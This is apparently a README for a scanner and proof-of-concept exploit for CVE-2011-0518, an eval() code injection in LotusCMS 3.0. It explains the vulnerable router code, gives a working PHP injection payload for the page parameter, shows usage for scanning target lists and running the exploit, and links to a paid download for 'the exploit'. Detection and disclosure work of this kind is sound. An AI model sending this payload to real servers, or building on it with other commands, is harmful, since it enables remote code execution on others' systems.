
Scanner and exploit POC for CVE-2011-0518, the LotusCMS 3.0 eval() code injection in the router page parameter, with digest-based verification and CSV/JSON reporting.
LotusCMS 3.0 - Remote Code Execution
| field | value |
|---|---|
| CVE | CVE-2011-0518 |
| severity | critical |
| CVSS | 10 (template CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H; NVD also lists 5.1 CVSS:2.0 AV:N/AC:H/Au:N/C:P/I:P/A:P) |
| fixed in | latest LotusCMS Fraise release (NVD affected list: Fraise 3.0) |
| class | eval() code injection in the router via the page parameter of index.php (template: CWE-77; NVD: CWE-22) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RRU
LotusCMS 3.0 (Fraise) is susceptible to remote code execution via the
Router() function. The raw page request parameter is interpolated
into an eval() statement in core/lib/router.php, so a POST to
index.php whose page value closes the evaluated expression executes
arbitrary PHP. The template confirms execution by printing the md5 of
lotuscms_rce through the injected system() call.
In LotusCMS Fraise 3.0 the file core/lib/router.php reads the request
parameters and builds its page object through an eval:
$page = $this->getInputString("page", "index");
$plugin = $this->getInputString("system", "Page");
if (file_exists("core/plugs/" . $plugin . "Starter.php")) {
include("core/plugs/" . $plugin . "Starter.php");
}
...
eval('namespace ' . $ns . '; $out = new \page_' . $page . "('"
. $subpage . "');");
The page value is concatenated into the eval string without closing
the quote first, so index');${system('echo lotuscms_rce | md5sum')};#
terminates the object statement, runs system() inside the same eval,
and comments out the remainder with #. The digest printed by the
injected call (38ee63071a04dc5e04ed22624c38e648, the md5 of
lotuscms_rce followed by the echo newline) is the template's matcher
word. NVD additionally notes the system parameter include path
behaves as a local-file-style inclusion when magic_quotes_gpc is off;
the vendor remediation is to enable magic_quotes_gpc or sanitize the
system parameter and update to the latest Fraise release.
max-request: 2), mirroring the
nuclei template's two candidate paths.POST /index.php with body
page=index');${system('echo lotuscms_rce | md5sum')};# and header
Content-Type: application/x-www-form-urlencoded; if that misses,
the same POST is repeated against /lcms/index.php.matchers-condition: and):
HTTP status 200 and the decoded body contains
38ee63071a04dc5e04ed22624c38e648 (case-sensitive substring test).check(url) returns (True, details) only when one path satisfies
both conditions; details keeps per-path status, content type, the
digest hit and a 200-char snippet of the matching body.token is computed over the JSON result so a merely
reflected page is distinguishable from a real eval execution.urls.txt are auto-prefixed with http://.# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2011-0518/scanner.py urls.txt 8 CVE-2011-0518.csv --json CVE-2011-0518.json
# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2011-0518/exploit.py http://target/ --csv CVE-2011-0518.csv --json CVE-2011-0518.json --verbose
urls.txt is a plain file, one target per line, # for comments.
RCE POC SUITE
scanner : CVE-2011-0518 v1.0.0
threads : 8 | csv: CVE-2011-0518.csv | json: CVE-2011-0518.json
RCE POC SUITE
[..] loaded 1 target(s) from urls.txt
[..] [1/1] http://host1 -> VULNERABLE
[..] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[..] timing : avg=9ms max=10ms wall=0.01s
[..] report saved: CVE-2011-0518.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-match (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2011-0518/exploit.py - two-stage POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored (or no targets loaded) |
The POC returns 0 when its token verification passes and 2 on
verification failed.